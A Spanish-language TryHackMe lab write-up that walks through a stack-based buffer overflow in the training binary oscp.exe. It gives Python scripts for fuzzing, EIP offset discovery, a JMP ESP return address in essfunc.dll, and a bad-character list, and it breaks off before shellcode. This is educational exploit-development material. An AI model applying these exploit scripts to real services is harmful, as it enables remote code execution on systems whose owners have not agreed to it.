TryHackMe - Buffer Overflow Prep


Creado
TryHackMe - Buffer Overflow Prep

Entorno Windows. Jugaremos con un desbordamiento de buffer basado en la pila, lo aprovecharemos para enviar más datos de los necesarios y molestar al sistema, se cansará tanto de nosotros que nos ejecutará código malicioso remotamente.

TL;DR (Spanish writeup)

Laboratorio creado por: Tib3rius.

Jugaremos con distintos desbordamientos del buffer basados en la pila (buffer overflow stack-based). Interactuaremos con un binario para entender el momento exacto en que se rompe al recibir más datos de los permitidos, tomaremos control de los registros encargados del flujo del programa, las librerías del binario nos darán una mano para saltar a otros registros, evitaremos corromper el proceso al usar caracteres traviesos y finalmente, ejecutaremos código malicioso en el sistema con ayuda del buffer (:

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

El foco detrás de este entorno es permitirnos practicar un ataque llamado “desbordamiento de buffer” (en este caso, basado en la pila), más adelante explicaré algunos términos y algunas cositas, pero por lo pronto, este será nuestro recorrido hacia la perdición :P

  1. Introducción.
  2. Conociendo el laboratorio.
  3. Buscando romper el programa.
  4. Encontrando el punto exacto de crasheo.
  5. Sobreescribiendo registro EIP para controlar el flujo.
  6. Jugando con las librerías del programa para saltar por el mundo.
  7. Evitando corromper la data al usar malos caracteres.
  8. Ejecutando código malicioso en el buffer del programa.

Introducción #

Acá encuentras el entorno: https://tryhackme.com/room/bufferoverflowprep

En este caso, TryHackMe nos ofrece una máquina donde podremos practicar de varias formas un ataque llamado desbordamiento de buffer, en este caso basado en pila (buffer overflow stack-based). El ataque es directo, interactuar con los datos que recibe un programa para sobrepasar el almacenamiento permitido y sobreescribir partes de la memoria con código malicioso.

Las respuestas del laboratorio están basadas en el binario oscp.exe, el cual, en su lógica, cuenta con 10 distintos tipos de desbordamientos de buffer (en la pila) para jugar.

En este post te voy a explicar la resolución del primer buffer overflow: OVERFLOW1. Conociendo el paso a paso de este, puedes hacer los demás y cualquier otro basado en pila (:

Veamos algunos conceptos rápidos antes de meternos con el lab.

⚠️⚠️ OJITO: Si ya estas familiarizado con la creación, levantamiento del entorno y demás conceptos, si gustas puedes irte de una a la resolución del lab. ⚠️⚠️

ConceptualizANDO 📌

💾 Ya sabemos de qué se trata el ataque, enviar más datos de los que puede almacenar el programa, logrando así sobreescribir partes de la memoria, para, con algo de malicia, ejecutar código malicioso.

🔋 La pila simplemente es una región de memoria que usa un programa para almacenar datos temporales.

📦 El buffer también míralo como un área para guardar, a veces muy pequeño, a veces muy grande, o sea, a veces con un tamaño fijo. ¿Pero qué pasa si es fijo? Que claramente en algún punto se puede llenar.

RegistrANDO 📌

En todo el entorno hablaremos a veces de cosas como EIP y ESP, se llaman registros, ellos son los encargados de “contener” información para interactuar de distintas formas con la memoria.

Existen muchos registros, tanto para x16, x32, x64, este entorno esta basado en la arquitectura x32, así que nos enfocaremos en ellos (:

De igual forma te comparto un lindo post donde hay varias definiciones y ejemplos:

Por ejemplo, los registros que más usaremos serán los dos listados anteriormente:

Registro Nombre Descripción
EAX Extended Accumulator Un acumulador, usado para operaciones aritméticas.
EBX Extended Base Este loco sirve pa todo, almacenar datos temporales, operaciones aritméticas, apoyar a los punteros, jugar con los ciclos y moverse por la memoria.
ECX Extended Counter Usado para controlar el flujo del programa.
EDX Extended Data También usado (como EAX) para operaciones aritméticas, pero más largas.
ESI Extended Source Index Usado como índice de origen en operaciones donde nos movemos por la memoria.
EDI Extended Destination Index Al contrario que ESI, usado como índice de destino en operaciones donde nos movemos por la memoria.
ESP Extended Stack Pointer Es el encargado de manejar la pila de memoria, o sea, como se mueven los datos desde que entran hasta que salen de la memoria.
EBP Extended Base Pointer Es el gestor de funciones, parámetros y variables locales del programa.
EIP Extended Instruction Pointer Guarda la siguiente dirección en memoria a la cual irá el programa.

Bien, ya con los conceptos puestos en la mesa nos podemos poner a jugar!

Conociendo el entorno #

Validando la información que nos entrega el laboratorio, tenemos:

Una máquina Windows 7 de 32 bits, con un debugger ya instalado llamado Immunity Debugger y algunos procesos deshabilitados para hacernos todo más sencillito.

Para conectarnos por RDP a la máquina, podemos emplear la herramienta remmina, usaremos las credenciales dadas (admin:password) para finalmente ver el escritorio del equipo:

Así mismo, en las instrucciones nos dan todos los pasos necesarios para configurar correctamente nuestro entorno:

De nuevo nos habla de Immunity Debugger, rápidamente:

🔍 Immunity Debugger es un intermediario para validar las operaciones que el programa realiza contra el sistema, es usado por lo general para buscar malware (ingenieria inversa (o sea, toamr un programa y entender a nivel -lenguaje maquina- que hace) y para determinar errores que esten sucendiendo, todo esto en un programa.


Anclamos la ejecución del programa a Immunity 📌

Peeerfecto, así que seguimos los pasos y encendemos el debugger junto al programa oscp.exe:

En el escritorio clic derecho sobre Immunity Debugger y Run as administrator.

Dentro, File > Open > Buscamos la carpeta vulnerable-apps > Seleccionamos la carpeta oscp > Seleccionamos oscp.exe > Open.

El programa está cargado, pero no ha iniciado, para ponerlo a correr podemos darle clic a la fecha roja del menú u oprimir F9:

Ya estaría, en la parte baja debería decir ahora Running.

Para testear el funcionamiento, ejecutamos:

Listo listo listo, ya estamos prestos para iniciar.

Pasos a seguir para la explotación 📌


Fase Descripción
Fuzzeito Enviaremos muuuchos datos, buscando la forma de romper el programa
Buscando al patrón Encontraremos la parte exacta en la que el programa se rompe
Controlar EIP Vamos a sobreescribir el registro EIP, logrando así el control del flujo del programa
Encontrar la librería Iremos en búsqueda de instrucciones que nos permitan saltar al stack (ESP)
Evitaremos los badchars Iteraremos sobre muchos caracteres para evitar aquellos que puedan corromper nuestro código malicioso
Ejecutar shellcode Ya podremos crear y ejecutar código malicioso en el sistema mediante el buffer

La idea es que siempre que rompas el programa, desde el debugger lo vuelvas a iniciar, así no tienes que cerrar y abrir todo de nuevo:

Debug > Restart. Y listo, hacer esto siempre que quieras volver a lanzar una prueba (y pues lo inicias con la flecha roja :P)

Tenemos todo, tooodo para empezar. Así que, a rompernos la cabeza un rato!

Fuzzing #

La idea es interactuar con el programa, enviar varias cadenas de distintas longitudes con la intención de almacenar más datos de los que el programa está dispuesto a procesar, logrando así corromper el almacenamiento y desbordar el buffer.

Manualmente, el proceso sería así:

Pero es un poco lento y además aburrido :P Automaticemos eso…

Armamos un script en Python que mediante un bucle, envíe por ejemplo 100 veces la letra A (o cualquier letra) y que por cada iteración valide, si el programa deja de responder, si todo sigue funcionando, volverá a enviar información, pero ahora sumará 100 a esas 100 A previas, enviando así 200, así sucesivamente hasta que el programa deje de responder, cuando eso pase (si es que pasa :P), nos quedaremos con el valor de veces que se envió la letra A, ese será nuestro foco de ahí en adelante.

Acuerdate de anclar el debugger al programa vulnerable.

#!/usr/bin/python3

import socket
import time

# Datos de la máquina donde esta activo el programa vulnerable
HOST = "10.10.68.180"
PORT = 1337

cont = 0
cont_max = 10000
cont_to_multiply = 100

try:
    # Iteramos (en este caso) hasta 10000
    while cont <= cont_max:

        print(f"(+) Enviando {cont} A's")

        # Conexión con el programa
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.connect((HOST, PORT))
        server.settimeout(5) # si despues de 5 segundos no hay respuesta, se rompió
        from_server = server.recv(1024)
        
        # Exploit (acá va toda la data que será enviada al programa)
        payload = (
            b"OVERFLOW1 " +
            b"A" * cont
        )

        server.send(payload)

        from_server = server.recv(1024)
        server.close()

        cont += cont_to_multiply

        time.sleep(1)

except socket.timeout:
    print(f"(+) El programa dejó de responder al enviar {cont} A's")
    print(f"(+) Valor enviado: OVERFLOW1 A*{cont}")
    exit(0)

Ejecutamos y esperamos, pasado un tiempo, al enviar 2000 A’s el programa deja de funcionar:

Y si revisamos el debugger, efectivamente el registro EIP (el que decide a qué dirección de memoria debe ir después) fue sobreescrito con un valor que no entiende: 41414141, 41 es el valor hexadecimal de la letra A.

Con esto ya tenemos la información que buscamos, con 2000 A's el programa se rompe. Ahora nos queda identificar la posición exacta, el momento justo antes de llegar a EIP en el que el programa recibe más data de la necesaria y crashea.

Vamos a jugar con los patrones!!

Buscando al patrón #

En este paso vamos a usar algo llamado patrones, los patrones son cadenas únicas y están diseñadas para ayudar a monitorear y detectar el punto exacto en que una instrucción corrompe el programa.

¿Pero como sabemos la instrucción exacta? Apoyados de nuestro debugger, nos fijaremos en la siguiente instrucción a ejecutar (EIP) intente llegar a un valor erróneo, ese valor erróneo será la parte del patrón que necesitamos. Así conoceremos la posición exacta en la que podemos empezar a tener control sobre el flujo del programa.

Reinicia el programa desde el Immunity: Debug > Restart > Flecha roja para ejecutarlo.

Nos apoyaremos de dos herramientas:

# Para crear el patrón
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
# Para buscar en ese patrón el valor de EIP
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

Creamos el patrón de 2000 A’s:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

A mí me gusta tener un script para cada fase, así que dándole el formato necesario, así quedaría con el patrón a enviar:

#!/usr/bin/python3

import socket

HOST = "10.10.68.180"
PORT = 1337

pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

try:
    print(f"(+) Buscando al patrón!")

    # Connection
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((HOST, PORT))
    server.settimeout(5)
    from_server = server.recv(1024)
    
    # Exploit
    payload = (
        b"OVERFLOW1 " +
        pattern
    )

    server.send(payload)

    from_server = server.recv(1024)
    server.close()

except socket.timeout:
    print(f"(+) El programa dejó de responder...")
python3 pattern.py

Revisamos nuestro debugger y nos quedamos con el registro EIP, ese es el importante acá:

El valor que llega a EIP es: 6F43396E.

Lo tomamos y buscamos en el patrón de 2000 a ver en que posición encuentra esa porción de texto.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2000 -q '6F43396E'

Epale, se necesitan 1978 caracteres justo antes de llegar a sobreescribir EIP!! Añañaii.

Sobreescribiendo EIP #

Reinicia el programa (:

Según lo que obtuvimos mediante el patrón, sabemos que antes de poder llegar a EIP existen 1978 caracteres, por lo que en nuestro script le podemos pasar 1978 A’s seguido de valores identificables, por ejemplo BCDE, que serían en hexadecimal: 42434445, si logramos ver ese valor en el registro EIP, ya estaríamos sobreescribiendo el puntero (:

#!/usr/bin/python3

import socket

HOST = "10.10.68.180"
PORT = 1337

to_reach_EIP = 1978

try:
    print(f"(+) Sobreescribiendo EI Pe.")

    # Connection
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((HOST, PORT))
    server.settimeout(5)
    from_server = server.recv(1024)
    
    # Exploit
    payload = (
        b"OVERFLOW1 " +
        b"A" * to_reach_EIP +
        b"BCDE"
    )

    server.send(payload)

    from_server = server.recv(1024)
    server.close()

except socket.timeout:
    print(f"(+) El programa dejó de responder...")
python3 overwritEIP.py

Y en nuestro debugger:

Si si siiiiii, lo estamos sobreescribiendo!! Aunque, no exactamente de la forma esperada, el valor 45444342 hace referencia a EDCB, nosotros enviamos BCDE… Todo tiene una explicación:

Al momento en que el sistema recibe datos (bytes), necesita saber en qué orden almacenarlos en memoria, para ello existen dos arquitecturas, little-endian y big-endian.

Con little-endian se ordena (guarda) del byte menos significativo al más significativo, el menos significativo se define en cuanto a la última posición escrita. Por lo que si recibe 0x42434445, el valor menos significativo (la última posición) será 0x45, lo que significa que se guardara de derecha a izquierda: 0x45444342.

Con big-endian es al contrario, si se recibe 0x42434445, se guarda del más significativo al menos significativo, o sea, del primero en ser escrito al último o mejor dicho, de izquierda a derecha: 0x42434445.

Tomada de: agilescientific.com - little-endian-is-legal

¿En nuestro entorno que arquitectura tenemos?

Esato, se está viendo reflejado el uso de la arquitectura little-endian. Tengamos esto en cuenta, lo usaremos más adelante.

Ya logramos sobreescribir el registro EIP, ahora necesitamos aprovechar las instrucciones propias del programa para poder movernos al registro ESP y poder almacenar código malicioso.

Encontrando módulo para saltar a la pila #


Reiniciamooooos programa (:

Lo que haremos ahora es aprovechar toda librería asociada al programa para entre ellas buscar una instrucción que nos permita saltar al registro ESP. Si lo logramos, podremos almacenar nuestro código malicioso en él (ESP es la pila, recuérdalo).

Usaremos mona, un script en Python que ayuda a automatizar y realizar todas estas labores más rápido. En este caso el programa ya está instalado en nuestro entorno. Pero si no estuviera, sería así:

Exploramos las librerías (módulos) asociados al programa, abajo a la izquierda en el campo de texto blanco, escribiremos:

0BA  -----------------------------------------------------------------------------------------------------------------------------------------
0BA   Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BA  -----------------------------------------------------------------------------------------------------------------------------------------
0BA   0x75900000 | 0x7590a000 | 0x0000a000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [LPK.dll] (C:\Windows\system32\LPK.dll)
0BA   0x752d0000 | 0x752d6000 | 0x00006000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [NSI.dll] (C:\Windows\system32\NSI.dll)
0BA   0x62500000 | 0x62508000 | 0x00008000 | False  | False   | False |  False   | False  | -1.0- [essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0BA   0x76a30000 | 0x76afc000 | 0x000cc000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [MSCTF.dll] (C:\Windows\system32\MSCTF.dll)
0BA   0x750e0000 | 0x7512a000 | 0x0004a000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [KERNELBASE.dll] (C:\Windows\system32\KERNELBASE.dll)
0BA   0x74a10000 | 0x74a4c000 | 0x0003c000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [mswsock.dll] (C:\Windows\system32\mswsock.dll)
0BA   0x752e0000 | 0x7537d000 | 0x0009d000 | True   | True    | True  |  True    | True   | 1.0626.7601.17514 [USP10.dll] (C:\Windows\system32\USP10.dll)
0BA   0x77060000 | 0x770ae000 | 0x0004e000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [GDI32.dll] (C:\Windows\system32\GDI32.dll)
0BA   0x75720000 | 0x757f4000 | 0x000d4000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll)
0BA   0x75d30000 | 0x75ddc000 | 0x000ac000 | True   | True    | True  |  True    | True   | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll)
0BA   0x76e80000 | 0x76fbc000 | 0x0013c000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [ntdll.dll] (C:\Windows\SYSTEM32\ntdll.dll)
0BA   0x76bd0000 | 0x76c71000 | 0x000a1000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [RPCRT4.dll] (C:\Windows\system32\RPCRT4.dll)
0BA   0x755d0000 | 0x75605000 | 0x00035000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [WS2_32.dll] (C:\Windows\system32\WS2_32.dll)
0BA   0x00400000 | 0x00414000 | 0x00014000 | False  | False   | False |  False   | False  | -1.0- [oscp.exe] (C:\Users\admin\Desktop\vulnerable-apps\oscp\oscp.exe)
0BA   0x76b00000 | 0x76bc9000 | 0x000c9000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [user32.dll] (C:\Windows\system32\user32.dll)
0BA   0x75610000 | 0x7562f000 | 0x0001f000 | True   | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\system32\IMM32.DLL)

Ahí obtenemos toda librería asociada al programa, pero las únicas que nos van a servir son aquellas que cuenten con las mínimas (o ninguna) restricciones activadas (Rebase, SafeSEH, etc.), esto es importante, ya que si alguno de esos ítems está activo, nuestro proceso de explotación y aprovechamiento de esa librería puede verse perjudicado:

Restricción ¿Si está activada, que significa?
Rebase Básicamente el programa modifica todo el tiempo la dirección base en memoria del programa cada vez que es ejecutado.
SafeSEH Previene ataques donde se intenten aprovechar las excepciones del programa.
ASLR El programa aleatoriza la ubicación de ciertas áreas, como la pila, las funciones.
NXCompat Evita que las partes de la memoria que se pueden usar para ejecutar cositas, se usen como almacenadores.
OS Dll Permite que las bibliotecas del programa se carguen en direcciones dinámicas (como ASLR).

Teniendo en cuenta lo anterior, hay una sola librería que nos puede ayudar o al menos que es la que más restricciones tiene desactivadas, essfunc.dll.

0BA   0x62500000 | 0x62508000 | 0x00008000 | False  | False   | False |  False   | False  | -1.0- [essfunc.dll] (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)

Nos quedaremos con su nombre.

El siguiente paso es buscar dentro de esa librería, la instrucción que nos permita saltar al stack, en términos de lenguaje ensamblador (lenguaje máquina) sería JMP ESP. JMP es un condicional que realiza un jump, un salto ya sea a una dirección, a un registro, etc.

Es como si (por ejemplo) en un programa de Python se llamara a una función, el flujo saltaria a ella para poder ejecutarla.

Necesitamos conocer el valor haxedecimal de esa instrucción, para ello usaremos el programa nasm_shell.rb:

find / -name "*nasm_shell*" 2>/dev/null

El valor hex de JMP ESP es \xFF\xE4, ese resultado es el importante para nosotros, aprovecharemos la libreria para extraer las direcciones en memoria donde ejecuta esa operación, así en nuestra fase de explotación la interacción de saltar contra el ESP la hará la libreria y no algo externo, con lo que nos aseguraremos el exito en la ejecución.

Usando mona lo buscamos así:

!mona find -s '\xFF\xE4' -m essfunc.dll

Obtenemos 9 resultados, 9 momentos en los que la libreria hace uso de la instrucción JMP ESP, nos guardamos las direcciones:

0BADF00D           [+] Results :
625011AF             0x625011af : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011BB             0x625011bb : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011C7             0x625011c7 : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011D3             0x625011d3 : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011DF             0x625011df : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011EB             0x625011eb : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011F7             0x625011f7 : '\xFF\xE4' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
62501203             0x62501203 : '\xFF\xE4' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
62501205             0x62501205 : '\xFF\xE4' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0BADF00D               Found a total of 9 pointers

Inicialmente, escogeremos una de las 2 últimas, debido a que están relacionadas con ASCII, quizás nos eviten problemas con malinterpretación de caracteres o algo por el estilo (pero puedes probar con cualquiera).

Yo tomaré 0x62501203.

Juguemos con el debugger para validar que esa dirección sí contenga la instrucción JMP ESP:

Existe, todo bien (:

Ahora, podemos asegurarnos que nuestro script va a llegar a la instrucción seteando un breakpoint, esto simplemente es un punto que si el programa “toca” o “activa”, generará una excepción y el programa esperará ahí.

Para ello damos clic sobre el valor 62501203, ejecutamos F2 y ahora la línea debería verse así:

Nos vamos a nuestro script y para evitar tener que manipular las direcciones y todo esto manualmente, vamos a apoyarnos de la librería struct:

¿Recuerdas en que arquitectura esta guardando los datos el sistema? Lo usaremos acá.

Le pasaremos la dirección en memoria 0x62501203 a la librería para que la empaque y envíe en little-endian y como número:

struct.pack('<I', 0x62501203)

https://docs.python.org/3/library/struct.html#byte-order-size-and-alignment

https://docs.python.org/3/library/struct.html#format-characters

Finalmente, el script quedaría así:

#!/usr/bin/python3

import socket
import struct

HOST = "10.10.68.180" # Este valor puede cambiar, pero es por temas de entorno, da igual
PORT = 1337

to_reach_EIP = 1978
to_reach_JMPESP = 0x62501203

try:
    print(f"(+) Modulando y saltando a JMP, eso ESPero.")

    # Connection
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.connect((HOST, PORT))
    server.settimeout(5)
    from_server = server.recv(1024)
    
    # Exploit
    payload = (
        b"OVERFLOW1 " +
        b"A" * to_reach_EIP +
        struct.pack('<I', to_reach_JMPESP)
    )

    server.send(payload)

    from_server = server.recv(1024)
    server.close()

except socket.timeout:
    print(f"(+) El programa dejó de responder...")
python3 module.py

EPALEEEEEEEEEEE, saltando y andando!! Llegamos correctamente a la instrucción mediante nuestro script (:

Sigamos que ya estamos cerca!!!!!!

Ya podríamos generar y enviar nuestro código malicioso, ya que tenemos control sobre ESP, peeeero podrían surgir errores, para evitarlos existe el siguiente paso.

Encontrando los caracteres malos #

Reeeeiniciamos programa.

Lo dicho, para evitarnos dolores de cabeza con la ejecución de nuestro código malicioso, buscaremos caracteres que puedan llegar a afectar y corromper nuestra explotación, los famosos badchars.

Esta es la lista completa de caracteres:

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Existe uno que por default genera errores y hay que quitar de la lista, el 0x00:

